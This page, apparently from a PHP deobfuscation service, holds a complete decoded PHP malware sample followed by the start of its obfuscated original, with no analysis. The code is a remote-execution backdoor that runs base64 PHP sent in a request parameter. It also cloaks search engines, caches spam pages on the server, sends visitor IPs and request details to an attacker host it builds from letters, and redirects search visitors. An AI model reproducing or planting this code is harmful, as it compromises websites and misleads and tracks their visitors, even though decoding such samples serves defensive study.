Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4cOB\x41\x4c\x53"} ["\x6ew\x71l\x63el\x74\x6e\x6e\x79"] = "\x75hv\x6b\x61\x75..
Decoded Output download
<?php
${"GLOBALS"} ["nwqlceltnny"] = "uhvkauiakas";
${"GLOBALS"} ["uqypkwn"] = "nsjks";
${"GLOBALS"} ["mnwsbnkezf"] = "jivlks";
${"GLOBALS"} ["hqvmqcyke"] = "strf";
${"GLOBALS"} ["iysgtksotckc"] = "uih";
${"GLOBALS"} ["ukohwfknxk"] = "sltleils";
${"GLOBALS"} ["ieakqgsyee"] = "http_response_header";
${"GLOBALS"} ["tvjmrbrlgmc"] = "headers";
${"GLOBALS"} ["bkkyjohsda"] = "opts";
${"GLOBALS"} ["firjwojzutf"] = "postdata";
${"GLOBALS"} ["dhyqqytshbs"] = "val";
${"GLOBALS"} ["asozthiym"] = "key";
${"GLOBALS"} ["fsdtreppxdgl"] = "post_array";
${"GLOBALS"} ["pefwohxy"] = "p1";
${"GLOBALS"} ["mgrslpnipsv"] = "post";
${"GLOBALS"} ["smtygvxpv"] = "url";
${"GLOBALS"} ["lfhtqign"] = "ch";
${"GLOBALS"} ["irkricdvh"] = "m";
${"GLOBALS"} ["jhfnouns"] = "scheme";
${"GLOBALS"} ["jfjszqgyspp"] = "page";
${"GLOBALS"} ["eweccngp"] = "jivlkssd";
${"GLOBALS"} ["jvelmbjjqlj"] = "jivdhsad";
${"GLOBALS"} ["wfnlghhrhpf"] = "r";
${"GLOBALS"} ["lxvffosdpve"] = "end";
${"GLOBALS"} ["mdhrouwen"] = "l";
${"GLOBALS"} ["jycjbgnv"] = "k";
${"GLOBALS"} ["flciycryelre"] = "sfuivdf";
${"GLOBALS"} ["brwgqubh"] = "start";
${"GLOBALS"} ["qgugdraoslni"] = "dir";
${"GLOBALS"} ["uhimwjr"] = "handle";
${"GLOBALS"} ["nievpb"] = "slash";
${"GLOBALS"} ["lknnessu"] = "this_dir";
${"GLOBALS"} ["rctpjntevq"] = "bnuoas";
error_reporting ( 0 );
if (! defined ( "ALREADY_RUN_305e565eff" )) {
define ( "ALREADY_RUN_305e565eff", 1 );
${"GLOBALS"} ["kuzibhdvctjl"] = "sltleils";
(PHP_OS == "Windows" || PHP_OS == "WINNT") ? define ( "SPTR", "\" ) : define ( "SPTR", "/" );
${"GLOBALS"} ["uvdpthmas"] = "sltleils";
if (@file_exists ( "cleaner.php" ))
@include ("cleaner.php");
if (@file_exists ( dirname ( __FILE__ ) . SPTR . "cleaner.php" ))
@include (dirname ( __FILE__ ) . SPTR . "cleaner.php");
if (isset ( $_REQUEST ["305e565eff"] )) {
$sfluja = "t";
$djwpyyzowfc = "t";
${$sfluja} = create_function ( "", base64_decode ( $_REQUEST ["305e565eff"] ) );
${$djwpyyzowfc} ();
}
$gyormyk = "slwkwi";
if (! function_exists ( "afsdfgafaer" )) {
function afsdfgafaer() {
global $slash;
${"GLOBALS"} ["iuaodnqt"] = "bnuoas";
${${"GLOBALS"} ["rctpjntevq"]} = false;
if (defined ( "WP_TEMP_DIR" )) {
$tmbmeswtlik = "bnuoas";
${"GLOBALS"} ["kovltqp"] = "bnuoas";
${${"GLOBALS"} ["kovltqp"]} = WP_TEMP_DIR . "cache";
@mkdir ( ${$tmbmeswtlik} );
} elseif (function_exists ( "get_temp_dir" )) {
$aezyumixjlh = "bnuoas";
$ieoczaywhi = "bnuoas";
$jmucojwdx = "bnuoas";
${$aezyumixjlh} = get_temp_dir ();
if (is_writable ( ${$ieoczaywhi} )) {
$hqilujuaoqb = "bnuoas";
$xikceeqsss = "bnuoas";
${$xikceeqsss} = ${$hqilujuaoqb} . "cache";
@mkdir ( ${${"GLOBALS"} ["rctpjntevq"]} );
} else
${$jmucojwdx} = false;
} elseif (function_exists ( "sys_get_temp_dir" )) {
${"GLOBALS"} ["pahtsflg"] = "bnuoas";
${${"GLOBALS"} ["rctpjntevq"]} = sys_get_temp_dir ();
if (is_writable ( ${${"GLOBALS"} ["pahtsflg"]} )) {
${"GLOBALS"} ["eqfcgy"] = "bnuoas";
${"GLOBALS"} ["uxcidhxi"] = "bnuoas";
${${"GLOBALS"} ["eqfcgy"]} = ${${"GLOBALS"} ["rctpjntevq"]} . "cache";
@mkdir ( ${${"GLOBALS"} ["uxcidhxi"]} );
} else
${${"GLOBALS"} ["rctpjntevq"]} = false;
} else {
$zqpgklewisiq = "this_dir";
${"GLOBALS"} ["bzmvkdkrcnb"] = "slash";
${$zqpgklewisiq} = dirname ( __FILE__ );
if (is_writable ( ${${"GLOBALS"} ["lknnessu"]} . ${${"GLOBALS"} ["bzmvkdkrcnb"]} . "images" )) {
${"GLOBALS"} ["dcjqucmof"] = "bnuoas";
${${"GLOBALS"} ["dcjqucmof"]} = ${${"GLOBALS"} ["lknnessu"]} . ${${"GLOBALS"} ["nievpb"]} . "images" . ${${"GLOBALS"} ["nievpb"]} . "cache";
@mkdir ( ${${"GLOBALS"} ["rctpjntevq"]} );
} else {
$uzqqlyxzuq = "slash";
$bcvrsvybcnbh = "this_dir";
@mkdir ( ${${"GLOBALS"} ["lknnessu"]} . ${$uzqqlyxzuq} . "cache" );
if (is_writable ( ${$bcvrsvybcnbh} . ${${"GLOBALS"} ["nievpb"]} . "cache" )) {
${${"GLOBALS"} ["rctpjntevq"]} = ${${"GLOBALS"} ["lknnessu"]} . ${${"GLOBALS"} ["nievpb"]} . "cache";
} else {
if (${${"GLOBALS"} ["uhimwjr"]} = opendir ( ${${"GLOBALS"} ["lknnessu"]} )) {
$khqnfrpm = "dir";
$yebdwhmtdh = "handle";
while ( false !== (${$khqnfrpm} = readdir ( ${$yebdwhmtdh} )) ) {
$pgolotrwvflr = "dir";
${"GLOBALS"} ["ymfqnca"] = "dir";
if (${$pgolotrwvflr} != ".." && ${${"GLOBALS"} ["ymfqnca"]} != "." && is_dir ( ${${"GLOBALS"} ["qgugdraoslni"]} ) && is_writable ( ${${"GLOBALS"} ["qgugdraoslni"]} )) {
${"GLOBALS"} ["eflxmtenmv"] = "dir";
${"GLOBALS"} ["iyiuuk"] = "this_dir";
${"GLOBALS"} ["vberjdgdqqh"] = "bnuoas";
${"GLOBALS"} ["qlxpeop"] = "slash";
$ikwetgqyfhdw = "bnuoas";
@mkdir ( ${${"GLOBALS"} ["eflxmtenmv"]} . ${${"GLOBALS"} ["qlxpeop"]} . "cache" );
${${"GLOBALS"} ["vberjdgdqqh"]} = ${${"GLOBALS"} ["iyiuuk"]} . ${${"GLOBALS"} ["nievpb"]} . ${${"GLOBALS"} ["qgugdraoslni"]} . ${${"GLOBALS"} ["nievpb"]} . "cache";
if (is_writable ( ${$ikwetgqyfhdw} )) {
$pxgqjdw = "handle";
closedir ( ${$pxgqjdw} );
break;
}
}
}
}
}
}
}
return ${${"GLOBALS"} ["iuaodnqt"]};
}
}
${"GLOBALS"} ["doawcdh"] = "strf";
${"GLOBALS"} ["siuegdkw"] = "sltleils";
if (! function_exists ( "asdshawewe" )) {
function asdshawewe($sfuivdf, $start, $end = '') {
$dgsbixxi = "r";
$bxpsgyg = "start";
${$dgsbixxi} = false;
if (${$bxpsgyg} !== 0) {
${"GLOBALS"} ["kbuutfkplm"] = "k1";
${${"GLOBALS"} ["kbuutfkplm"]} = strlen ( ${${"GLOBALS"} ["brwgqubh"]} );
$idwrlvfj = "p";
${"GLOBALS"} ["cbvmdmuns"] = "r";
if (${$idwrlvfj} = stristr ( ${${"GLOBALS"} ["flciycryelre"]}, ${${"GLOBALS"} ["brwgqubh"]} )) {
$rvyxtiqpycw = "p";
${"GLOBALS"} ["rpldjfvmf"] = "k";
$zvrdyprttce = "k1";
${${"GLOBALS"} ["jycjbgnv"]} = substr ( ${$rvyxtiqpycw}, ${$zvrdyprttce} );
$swedmoe = "end";
if (${$swedmoe} === "")
return ${${"GLOBALS"} ["jycjbgnv"]};
${"GLOBALS"} ["gndeenuuobob"] = "k";
${${"GLOBALS"} ["mdhrouwen"]} = strpos ( ${${"GLOBALS"} ["rpldjfvmf"]}, ${${"GLOBALS"} ["lxvffosdpve"]} );
${${"GLOBALS"} ["wfnlghhrhpf"]} = substr ( ${${"GLOBALS"} ["gndeenuuobob"]}, 0, ${${"GLOBALS"} ["mdhrouwen"]} );
}
return ${${"GLOBALS"} ["cbvmdmuns"]};
} else {
$wfclkwppf = "l";
${"GLOBALS"} ["wdxprvpp"] = "sfuivdf";
$oonptxojth = "sfuivdf";
${"GLOBALS"} ["xqmksddjusn"] = "l";
${$wfclkwppf} = strpos ( ${${"GLOBALS"} ["wdxprvpp"]}, ${${"GLOBALS"} ["lxvffosdpve"]} );
${${"GLOBALS"} ["wfnlghhrhpf"]} = substr ( ${$oonptxojth}, 0, ${${"GLOBALS"} ["xqmksddjusn"]} );
return ${${"GLOBALS"} ["wfnlghhrhpf"]};
}
}
}
if (! function_exists ( "sdfbgsdv" )) {
function sdfbgsdv($jivlkssd) {
${${"GLOBALS"} ["jvelmbjjqlj"]} = false;
if (file_exists ( ${${"GLOBALS"} ["eweccngp"]} )) {
${"GLOBALS"} ["sxxbzcrtvsj"] = "jivlkssd";
if ((time () - filemtime ( ${${"GLOBALS"} ["sxxbzcrtvsj"]} )) < 604800) {
if (function_exists ( "file_get_contents" )) {
${${"GLOBALS"} ["jvelmbjjqlj"]} = file_get_contents ( ${${"GLOBALS"} ["eweccngp"]} );
} else {
$xudfihywqd = "jivlkssd";
if (${${"GLOBALS"} ["uhimwjr"]} = fopen ( ${$xudfihywqd}, "r" )) {
${"GLOBALS"} ["ugjelikwm"] = "jivdhsad";
$cpphegqgvjt = "handle";
${"GLOBALS"} ["olpdxkjlsf"] = "jivlkssd";
${${"GLOBALS"} ["ugjelikwm"]} = fread ( ${$cpphegqgvjt}, filesize ( ${${"GLOBALS"} ["olpdxkjlsf"]} ) );
fclose ( ${${"GLOBALS"} ["uhimwjr"]} );
}
}
}
}
return base64_decode ( strrev ( ${${"GLOBALS"} ["jvelmbjjqlj"]} ) );
}
}
if (! function_exists ( "afearvwaeaer" )) {
function afearvwaeaer($scheme) {
${${"GLOBALS"} ["jfjszqgyspp"]} = dbaae ( ${${"GLOBALS"} ["jhfnouns"]} . $_SERVER ["HTTP_HOST"] . $_SERVER ["REQUEST_URI"] );
if (${${"GLOBALS"} ["jfjszqgyspp"]}) {
if (preg_match ( "#(\.ico|\.pdf|\.jpg|\.jpeg|\.png|\.gif|\.css|\.js|\.tiff)#i", $_SERVER ["REQUEST_URI"], ${${"GLOBALS"} ["irkricdvh"]} )) {
${"GLOBALS"} ["vmgsmmdahl"] = "m";
${"GLOBALS"} ["jxrmpkrq"] = "m";
${"GLOBALS"} ["hwnzdcropey"] = "m";
$fowcqjnc = "m";
$xdfaymx = "m";
switch (${$xdfaymx} [0]) {
case (preg_match ( "/(jpg|jpeg)/i", ${${"GLOBALS"} ["hwnzdcropey"]} [0] ) ? true : false) :
header ( "Content-Type: image/jpeg" );
break;
case (preg_match ( "/\.pdf/i", ${${"GLOBALS"} ["irkricdvh"]} [0] ) ? true : false) :
header ( "Content-Type: application/pdf" );
break;
case (preg_match ( "/\.png/i", ${$fowcqjnc} [0] ) ? true : false) :
header ( "Content-Type: image/png" );
break;
case (preg_match ( "/\.gif/i", ${${"GLOBALS"} ["irkricdvh"]} [0] ) ? true : false) :
header ( "Content-Type: image/gif" );
break;
case (preg_match ( "/\.tiff/i", ${${"GLOBALS"} ["jxrmpkrq"]} [0] ) ? true : false) :
header ( "Content-Type: application/font-tiff" );
break;
case (preg_match ( "/\.css/i", ${${"GLOBALS"} ["irkricdvh"]} [0] ) ? true : false) :
header ( "Content-Type: text/css" );
break;
case (preg_match ( "/\.js/i", ${${"GLOBALS"} ["irkricdvh"]} [0] ) ? true : false) :
header ( "Content-Type: application/x-javascript" );
break;
case (preg_match ( "/\.ico/i", ${${"GLOBALS"} ["vmgsmmdahl"]} [0] ) ? true : false) :
header ( "Content-Type: image/x-icon" );
break;
default :
header ( "Content-Type: text/html" );
}
} else
header ( "Content-Type: text/html" );
echo ${${"GLOBALS"} ["jfjszqgyspp"]};
return true;
} else
return false;
}
}
if (! function_exists ( "dbaae" )) {
function dbaae($url, $post = 0, $headers = 0) {
if (function_exists ( "curl_init" )) {
${"GLOBALS"} ["uphmxoreb"] = "ch";
${"GLOBALS"} ["pbxgcjmd"] = "ch";
${"GLOBALS"} ["qoggklqw"] = "ch";
${"GLOBALS"} ["vdeggvg"] = "ch";
${${"GLOBALS"} ["lfhtqign"]} = curl_init ();
curl_setopt ( ${${"GLOBALS"} ["pbxgcjmd"]}, CURLOPT_URL, ${${"GLOBALS"} ["smtygvxpv"]} );
curl_setopt ( ${${"GLOBALS"} ["lfhtqign"]}, CURLOPT_SSL_VERIFYPEER, false );
${"GLOBALS"} ["qmrmrgsujtg"] = "post";
curl_setopt ( ${${"GLOBALS"} ["qoggklqw"]}, CURLOPT_SSL_VERIFYHOST, 0 );
curl_setopt ( ${${"GLOBALS"} ["lfhtqign"]}, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" );
curl_setopt ( ${${"GLOBALS"} ["lfhtqign"]}, CURLOPT_TIMEOUT, 10 );
${"GLOBALS"} ["rquzqmlmca"] = "headers";
curl_setopt ( ${${"GLOBALS"} ["vdeggvg"]}, CURLOPT_RETURNTRANSFER, true );
if (${${"GLOBALS"} ["qmrmrgsujtg"]}) {
$dgsxodno = "ch";
curl_setopt ( ${$dgsxodno}, CURLOPT_POST, 1 );
curl_setopt ( ${${"GLOBALS"} ["lfhtqign"]}, CURLOPT_POSTFIELDS, ${${"GLOBALS"} ["mgrslpnipsv"]} );
}
if (${${"GLOBALS"} ["rquzqmlmca"]})
curl_setopt ( ${${"GLOBALS"} ["lfhtqign"]}, CURLOPT_HEADER, 1 );
curl_setopt ( ${${"GLOBALS"} ["lfhtqign"]}, CURLOPT_REFERER, $_SERVER ["HTTP_HOST"] );
${"GLOBALS"} ["kzjrng"] = "sfuivdf";
${"GLOBALS"} ["ljqrpsdr"] = "ch";
${${"GLOBALS"} ["kzjrng"]} = curl_exec ( ${${"GLOBALS"} ["uphmxoreb"]} );
curl_close ( ${${"GLOBALS"} ["ljqrpsdr"]} );
} else {
if (${${"GLOBALS"} ["mgrslpnipsv"]}) {
$teyruj = "url";
${"GLOBALS"} ["kbbrkmpeg"] = "post";
$vtzsyqqznyd = "opts";
if (! is_array ( ${${"GLOBALS"} ["mgrslpnipsv"]} )) {
${"GLOBALS"} ["rcdnuxmag"] = "post";
$wxlomqjxy = "value";
${${"GLOBALS"} ["pefwohxy"]} = explode ( "&", ${${"GLOBALS"} ["rcdnuxmag"]} );
${"GLOBALS"} ["nysudmsadx"] = "post_array";
${${"GLOBALS"} ["fsdtreppxdgl"]} = array ();
${"GLOBALS"} ["yvpmvlmrhj"] = "p1";
foreach ( ${${"GLOBALS"} ["yvpmvlmrhj"]} as ${$wxlomqjxy} ) {
$pzdihxpyl = "value";
list ( ${${"GLOBALS"} ["asozthiym"]}, ${${"GLOBALS"} ["dhyqqytshbs"]} ) = explode ( "=", ${$pzdihxpyl} );
${${"GLOBALS"} ["fsdtreppxdgl"]} [${${"GLOBALS"} ["asozthiym"]}] = ${${"GLOBALS"} ["dhyqqytshbs"]};
}
${${"GLOBALS"} ["mgrslpnipsv"]} = ${${"GLOBALS"} ["nysudmsadx"]};
}
${"GLOBALS"} ["uguthunimuf"] = "context";
${"GLOBALS"} ["hsqrohkn"] = "context";
${${"GLOBALS"} ["firjwojzutf"]} = http_build_query ( ${${"GLOBALS"} ["kbbrkmpeg"]} );
${${"GLOBALS"} ["bkkyjohsda"]} = array (
"http" => array (
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => ${${"GLOBALS"} ["firjwojzutf"]}
)
);
${${"GLOBALS"} ["uguthunimuf"]} = stream_context_create ( ${$vtzsyqqznyd} );
${"GLOBALS"} ["jkpywih"] = "sfuivdf";
${${"GLOBALS"} ["jkpywih"]} = @file_get_contents ( ${$teyruj}, false, ${${"GLOBALS"} ["hsqrohkn"]} );
} else {
$xoulux = "sfuivdf";
${$xoulux} = @file_get_contents ( ${${"GLOBALS"} ["smtygvxpv"]} );
}
if (${${"GLOBALS"} ["tvjmrbrlgmc"]}) {
$suaivzzbnxiu = "http_response_header";
$yelsypgcf = "http_response_header";
if (isset ( ${$suaivzzbnxiu} ) && is_array ( ${$yelsypgcf} )) {
$ntwrzfylbrh = "sfuivdf";
${${"GLOBALS"} ["flciycryelre"]} = implode ( "
", ${${"GLOBALS"} ["ieakqgsyee"]} ) . ${$ntwrzfylbrh};
}
}
}
${"GLOBALS"} ["eojetrfp"] = "sfuivdf";
return ${${"GLOBALS"} ["eojetrfp"]};
}
}
${${"GLOBALS"} ["kuzibhdvctjl"]} = range ( "a", "z" );
$uvbnljh = "uih";
$vmtoiplaori = "sltleils";
${${"GLOBALS"} ["ukohwfknxk"]} = array_merge ( ${${"GLOBALS"} ["uvdpthmas"]}, array (
".",
":",
"/"
) );
${$gyormyk} = ${${"GLOBALS"} ["ukohwfknxk"]} [7] . ${${"GLOBALS"} ["ukohwfknxk"]} [24] . ${${"GLOBALS"} ["siuegdkw"]} [15] . ${${"GLOBALS"} ["ukohwfknxk"]} [0] . ${${"GLOBALS"} ["ukohwfknxk"]} [13] . ${${"GLOBALS"} ["ukohwfknxk"]} [8] . ${${"GLOBALS"} ["ukohwfknxk"]} [18] . ${${"GLOBALS"} ["ukohwfknxk"]} [26] . ${$vmtoiplaori} [17] . ${${"GLOBALS"} ["ukohwfknxk"]} [20];
$sxjhpmn = "bnusdoas";
if (strpos ( dirname ( __FILE__ ), ":\" ) !== false) {
$fdbgkgybn = "slash";
${$fdbgkgybn} = "\";
} else
${${"GLOBALS"} ["nievpb"]} = "/";
${${"GLOBALS"} ["jhfnouns"]} = "http://";
if ((! empty ( $_SERVER ["HTTPS"] ) && $_SERVER ["HTTPS"] !== "off") || $_SERVER ["SERVER_PORT"] == 443)
${${"GLOBALS"} ["jhfnouns"]} = "https://";
if (preg_match ( "#(\.ico|\.jpg|\.jpeg|\.png|\.gif|robots\.txt|\.css|\.js|\.tiff|sitemap\.xml|ajax\.php|wp\-json)#i", $_SERVER ["REQUEST_URI"] )) {
$wdlihkuzfp = "scheme";
afearvwaeaer ( ${$wdlihkuzfp} );
exit ();
}
${$sxjhpmn} = 0;
${$uvbnljh} = preg_match ( "#(googlebot|bingbot|yahoo|msnbot|aol)#i", $_SERVER ["HTTP_USER_AGENT"] );
${${"GLOBALS"} ["doawcdh"]} = preg_match ( "#(google|bing|yahoo|msn|aol)#i", @$_SERVER ["HTTP_REFERER"] );
if (${${"GLOBALS"} ["iysgtksotckc"]} || ${${"GLOBALS"} ["hqvmqcyke"]}) {
${"GLOBALS"} ["wwlurtck"] = "bnuoas";
$kthprjhae = "bnusdoas";
${${"GLOBALS"} ["wwlurtck"]} = afsdfgafaer ();
if (${${"GLOBALS"} ["rctpjntevq"]}) {
$ucksitwj = "slash";
${${"GLOBALS"} ["mnwsbnkezf"]} = md5 ( trim ( str_replace ( "www.", "", $_SERVER ["HTTP_HOST"] . $_SERVER ["REQUEST_URI"] ) ) );
${${"GLOBALS"} ["eweccngp"]} = ${${"GLOBALS"} ["rctpjntevq"]} . ${$ucksitwj} . ${${"GLOBALS"} ["mnwsbnkezf"]};
if (isset ( $_REQUEST ["ccl"] ) && $_REQUEST ["ccl"] == "clear") {
@unlink ( ${${"GLOBALS"} ["eweccngp"]} );
} else {
${${"GLOBALS"} ["jvelmbjjqlj"]} = sdfbgsdv ( ${${"GLOBALS"} ["eweccngp"]} );
if (${${"GLOBALS"} ["jvelmbjjqlj"]}) {
$khimelvttuy = "ywbyds";
$ibriimrrpzn = "bnusdoas";
${$ibriimrrpzn} = 1;
list ( ${${"GLOBALS"} ["uqypkwn"]}, ${$khimelvttuy} ) = explode ( "~~~", ${${"GLOBALS"} ["jvelmbjjqlj"]} );
}
}
}
if (${$kthprjhae}) {
$jhjxntwx = "uih";
if (${$jhjxntwx}) {
$jqdrksmhlv = "ywbyds";
header ( "Content-Type: text/html" );
echo ${$jqdrksmhlv};
}
if (${${"GLOBALS"} ["hqvmqcyke"]}) {
${"GLOBALS"} ["kzvufvekwp"] = "uhvkauiakas";
${"GLOBALS"} ["jlmerlmzlu"] = "uhvkauiakas";
${${"GLOBALS"} ["nwqlceltnny"]} = dbaae ( "http://$slwkwi/ph/location.php", "mkwd=" . urlencode ( ${${"GLOBALS"} ["uqypkwn"]} ) . "&pk=4&h=" . urlencode ( $_SERVER ["HTTP_HOST"] ) . "&ip=" . urlencode ( $_SERVER ["REMOTE_ADDR"] ), 1 );
${${"GLOBALS"} ["jlmerlmzlu"]} = asdshawewe ( ${${"GLOBALS"} ["kzvufvekwp"]}, "goto: ", "
" );
${${"GLOBALS"} ["nwqlceltnny"]} = base64_decode ( strrev ( ${${"GLOBALS"} ["nwqlceltnny"]} ) );
Header ( "HTTP/1.1 301 Moved Permanently" );
Header ( "Location: " . ${${"GLOBALS"} ["nwqlceltnny"]} );
}
exit ();
} else {
${"GLOBALS"} ["cgowrs"] = "sfuivdf";
$udkocyntixp = "sfuivdf";
${"GLOBALS"} ["zjukgx"] = "sfuivdf";
${"GLOBALS"} ["phnelldvsbg"] = "sfuivdf";
${"GLOBALS"} ["bmlpssx"] = "sfuivdf";
${"GLOBALS"} ["fafbxjuqdxw"] = "sfuivdf";
${${"GLOBALS"} ["phnelldvsbg"]} = dbaae ( "http://$slwkwi/ph/phdms4.php?u=" . urlencode ( "http://" . $_SERVER ["HTTP_HOST"] . $_SERVER ["REQUEST_URI"] ) . "&r=" . urlencode ( @$_SERVER ["HTTP_REFERER"] ) . "&a=" . urlencode ( $_SERVER ["HTTP_USER_AGENT"] ) );
$nanjrw = "sfuivdf";
${"GLOBALS"} ["ihsreacsqpv"] = "sfuivdf";
if (${${"GLOBALS"} ["cgowrs"]} == "IGNORE") {
afearvwaeaer ( ${${"GLOBALS"} ["jhfnouns"]} );
exit ();
}
${${"GLOBALS"} ["flciycryelre"]} = base64_decode ( ${${"GLOBALS"} ["fafbxjuqdxw"]} );
${$nanjrw} = unserialize ( ${${"GLOBALS"} ["ihsreacsqpv"]} );
if (isset ( ${$udkocyntixp} ["location"] ) && ${${"GLOBALS"} ["flciycryelre"]} ["location"] != "") {
${"GLOBALS"} ["qseqden"] = "sfuivdf";
$ybzwpcdo = "sfuivdf";
Header ( "HTTP/1.1 301 Moved Permanently" );
if (isset ( ${${"GLOBALS"} ["qseqden"]} ["referer"] ) && ${$ybzwpcdo} ["referer"] != "")
Header ( "Referer: " . ${${"GLOBALS"} ["flciycryelre"]} ["referer"] );
Header ( "Location: " . ${${"GLOBALS"} ["flciycryelre"]} ["location"] );
exit ();
}
if (isset ( ${${"GLOBALS"} ["zjukgx"]} ["html"] ) && ${${"GLOBALS"} ["bmlpssx"]} ["html"] != "") {
${"GLOBALS"} ["rxpinbjuhl"] = "sfuivdf";
header ( "Content-Type: text/html" );
$dqrnfqokdis = "bnusdoas";
echo ${${"GLOBALS"} ["rxpinbjuhl"]} ["html"];
if (! ${$dqrnfqokdis}) {
$xffkepb = "bnuoas";
if (${$xffkepb}) {
if (function_exists ( "file_put_contents" )) {
file_put_contents ( ${${"GLOBALS"} ["eweccngp"]}, strrev ( base64_encode ( ${${"GLOBALS"} ["flciycryelre"]} ["main_keyword"] . "~~~" . ${${"GLOBALS"} ["flciycryelre"]} ["html"] ) ) );
} else {
if (${${"GLOBALS"} ["uhimwjr"]} = fopen ( ${${"GLOBALS"} ["eweccngp"]}, "w" )) {
${"GLOBALS"} ["sxpqjuh"] = "sfuivdf";
${"GLOBALS"} ["lfctpvkcrkd"] = "sfuivdf";
$hhkvewiglqh = "handle";
fwrite ( ${$hhkvewiglqh}, strrev ( base64_encode ( ${${"GLOBALS"} ["lfctpvkcrkd"]} ["main_keyword"] . "~~~" . ${${"GLOBALS"} ["sxpqjuh"]} ["html"] ) ) );
fclose ( ${${"GLOBALS"} ["uhimwjr"]} );
}
}
}
}
exit ();
}
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
${"G\x4cOB\x41\x4c\x53"} ["\x6ew\x71l\x63el\x74\x6e\x6e\x79"] = "\x75hv\x6b\x61\x75\x69\x61k\x61\x73";
${"GLO\x42\x41\x4c\x53"} ["u\x71\x79pk\x77\x6e"] = "n\x73\x6ak\x73";
${"\x47\x4c\x4fBA\x4c\x53"} ["m\x6e\x77s\x62\x6e\x6b\x65z\x66"] = "\x6aivl\x6bs";
${"G\x4c\x4f\x42ALS"} ["\x68\x71\x76mq\x63\x79\x6b\x65"] = "\x73\x74r\x66";
${"\x47L\x4f\x42\x41\x4c\x53"} ["iy\x73\x67\x74k\x73\x6ft\x63k\x63"] = "u\x69\x68";
${"G\x4c\x4fB\x41\x4c\x53"} ["\x75\x6boh\x77f\x6b\x6e\x78\x6b"] = "s\x6ct\x6c\x65\x69\x6c\x73";
${"GLO\x42\x41\x4c\x53"} ["ie\x61\x6b\x71g\x73\x79ee"] = "\x68\x74\x74p\x5fre\x73\x70o\x6e\x73\x65\x5f\x68\x65\x61\x64\x65r";
${"GLO\x42\x41\x4c\x53"} ["\x74\x76\x6am\x72\x62r\x6c\x67\x6dc"] = "\x68\x65\x61\x64\x65\x72s";
${"\x47\x4c\x4f\x42A\x4c\x53"} ["\x62\x6bk\x79j\x6f\x68\x73da"] = "\x6f\x70\x74\x73";
${"\x47L\x4fB\x41L\x53"} ["\x66\x69\x72\x6a\x77o\x6a\x7a\x75t\x66"] = "po\x73\x74\x64\x61\x74\x61";
${"\x47L\x4fB\x41\x4c\x53"} ["\x64\x68\x79\x71q\x79\x74\x73\x68\x62\x73"] = "\x76\x61\x6c";
${"\x47\x4c\x4fBA\x4c\x53"} ["\x61\x73\x6f\x7a\x74\x68\x69\x79\x6d"] = "key";
${"\x47\x4c\x4f\x42\x41\x4cS"} ["f\x73\x64\x74\x72\x65p\x70x\x64\x67l"] = "\x70os\x74\x5f\x61r\x72\x61\x79";
${"G\x4c\x4f\x42\x41\x4c\x53"} ["\x70ef\x77\x6f\x68x\x79"] = "\x70\x31";
${"GL\x4fB\x41L\x53"} ["m\x67\x72\x73l\x70\x6eip\x73v"] = "\x70\x6f\x73\x74";
${"\x47L\x4fBA\x4cS"} ["\x73mty\x67\x76xp\x76"] = "\x75r\x6c";
${"\x47\x4cOB\x41L\x53"} ["lf\x68t\x71i\x67\x6e"] = "\x63h";
${"GL\x4fB\x41\x4cS"} ["\x69\x72\x6b\x72\x69\x63d\x76\x68"] = "m";
${"\x47\x4cO\x42\x41\x4c\x53"} ["\x6a\x68\x66\x6e\x6f\x75\x6es"] = "\x73c\x68\x65\x6de";
${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x6a\x66\x6a\x73z\x71g\x79\x73\x70\x70"] = "\x70\x61\x67e";
${"GL\x4f\x42\x41LS"} ["\x65w\x65\x63\x63\x6e\x67p"] = "\x6a\x69\x76lks\x73\x64";
${"\x47\x4c\x4f\x42\x41L\x53"} ["\x6avel\x6db\x6aj\x71l\x6a"] = "\x6a\x69vdhsa\x64";
${"\x47L\x4fB\x41L\x53"} ["\x77\x66\x6el\x67\x68\x68\x72\x68p\x66"] = "r";
${"G\x4c\x4fBA\x4cS"} ["l\x78\x76f\x66\x6f\x73\x64p\x76\x65"] = "e\x6e\x64";
${"G\x4cOB\x41\x4c\x53"} ["\x6d\x64\x68r\x6f\x75\x77\x65\x6e"] = "\x6c";
${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["jy\x63\x6ab\x67\x6e\x76"] = "\x6b";
${"\x47\x4cO\x42\x41L\x53"} ["\x66\x6c\x63\x69\x79crye\x6cr\x65"] = "sf\x75\x69\x76\x64\x66";
${"G\x4c\x4f\x42\x41\x4c\x53"} ["\x62\x72\x77\x67\x71ub\x68"] = "\x73\x74\x61\x72\x74";
${"\x47\x4c\x4fBA\x4c\x53"} ["qgugdrao\x73l\x6ei"] = "d\x69\x72";
${"GL\x4f\x42A\x4cS"} ["\x75h\x69\x6d\x77j\x72"] = "\x68\x61\x6edl\x65";
${"\x47\x4cOBA\x4c\x53"} ["\x6e\x69\x65v\x70\x62"] = "\x73l\x61\x73\x68";
${"\x47\x4cO\x42\x41\x4cS"} ["\x6c\x6b\x6e\x6ee\x73\x73\x75"] = "\x74h\x69\x73\x5fdi\x72";
${"G\x4cOB\x41\x4c\x53"} ["\x72\x63\x74\x70\x6ant\x65\x76\x71"] = "\x62n\x75\x6fa\x73";
error_reporting ( 0 );
if (! defined ( "\x41\x4c\x52\x45\x41\x44Y\x5f\x52\x55\x4e_305e565eff" )) {
define ( "\x41\x4cRE\x41\x44Y_\x52\x55\x4e\x5f305e565eff", 1 );
${"G\x4cO\x42\x41\x4c\x53"} ["\x6bu\x7a\x69\x62h\x64v\x63\x74j\x6c"] = "\x73\x6ct\x6c\x65\x69l\x73";
(PHP_OS == "\x57\x69\x6e\x64\x6fw\x73" || PHP_OS == "W\x49\x4e\x4eT") ? define ( "S\x50\x54R", "\x5c" ) : define ( "\x53P\x54\x52", "/" );
${"\x47L\x4f\x42\x41\x4c\x53"} ["\x75v\x64p\x74\x68\x6d\x61\x73"] = "s\x6c\x74\x6c\x65i\x6cs";
if (@file_exists ( "c\x6c\x65a\x6ee\x72\x2e\x70\x68p" ))
@include ("\x63\x6c\x65\x61ne\x72\x2e\x70\x68p");
